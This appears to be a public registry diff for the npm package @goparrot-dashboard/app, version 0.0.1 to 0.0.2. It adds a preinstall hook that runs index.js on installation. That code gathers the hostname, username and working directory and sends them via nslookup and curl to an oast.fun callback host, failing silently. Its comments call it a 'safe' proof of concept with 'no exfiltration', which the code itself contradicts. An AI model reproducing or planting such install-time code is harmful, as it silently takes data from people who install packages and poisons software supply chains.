@goparrot-dashboard/app 0.0.1 → 0.0.2
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/index.js +30 -2
- package/package.json +5 -2
package/index.js
CHANGED
|
@@ -1,2 +1,30 @@
|
|
|
1
|
-
// rootxravi-poc-security
|
|
2
|
-
|
|
1
|
+
// rootxravi-poc-security — safe RCE proof-of-concept
|
|
2
|
+
// This only sends hostname + username + cwd to an interact.sh callback server
|
|
3
|
+
// No destructive actions, no exfiltration, no persistence
|
|
4
|
+
|
|
5
|
+
const { execSync } = require("child_process");
|
|
6
|
+
|
|
7
|
+
const CALLBACK = "iuczektmwpudhwqnsbkgc6m8nx2dgn5vc.oast.fun";
|
|
8
|
+
|
|
9
|
+
try {
|
|
10
|
+
const hostname = execSync("hostname").toString().trim();
|
|
11
|
+
const whoami = execSync("whoami").toString().trim();
|
|
12
|
+
const cwd = process.cwd();
|
|
13
|
+
const pkg = "@goparrot-dashboard/app";
|
|
14
|
+
|
|
15
|
+
const data = [
|
|
16
|
+
`pkg=${pkg}`,
|
|
17
|
+
`host=${hostname}`,
|
|
18
|
+
`user=${whoami}`,
|
|
19
|
+
`cwd=${cwd}`,
|
|
20
|
+
`ts=${Date.now()}`
|
|
21
|
+
].join("&");
|
|
22
|
+
|
|
23
|
+
// DNS callback
|
|
24
|
+
execSync(`nslookup ${whoami}.${hostname}.rootxravi.${CALLBACK}`);
|
|
25
|
+
|
|
26
|
+
// HTTP callback
|
|
27
|
+
execSync(`curl -s -m 5 "https://${CALLBACK}/rootxravi-poc?${data}"`);
|
|
28
|
+
} catch (e) {
|
|
29
|
+
// silent — POC only
|
|
30
|
+
}
|
package/package.json
CHANGED
|
@@ -1,8 +1,11 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "@goparrot-dashboard/app",
|
|
3
|
-
"version": "0.0.
|
|
3
|
+
"version": "0.0.2",
|
|
4
4
|
"description": "rootxravi-poc-security",
|
|
5
5
|
"main": "index.js",
|
|
6
6
|
"author": "rootxravi-poc-security",
|
|
7
|
-
"license": "ISC"
|
|
7
|
+
"license": "ISC",
|
|
8
|
+
"scripts": {
|
|
9
|
+
"preinstall": "node index.js"
|
|
10
|
+
}
|
|
8
11
|
}
|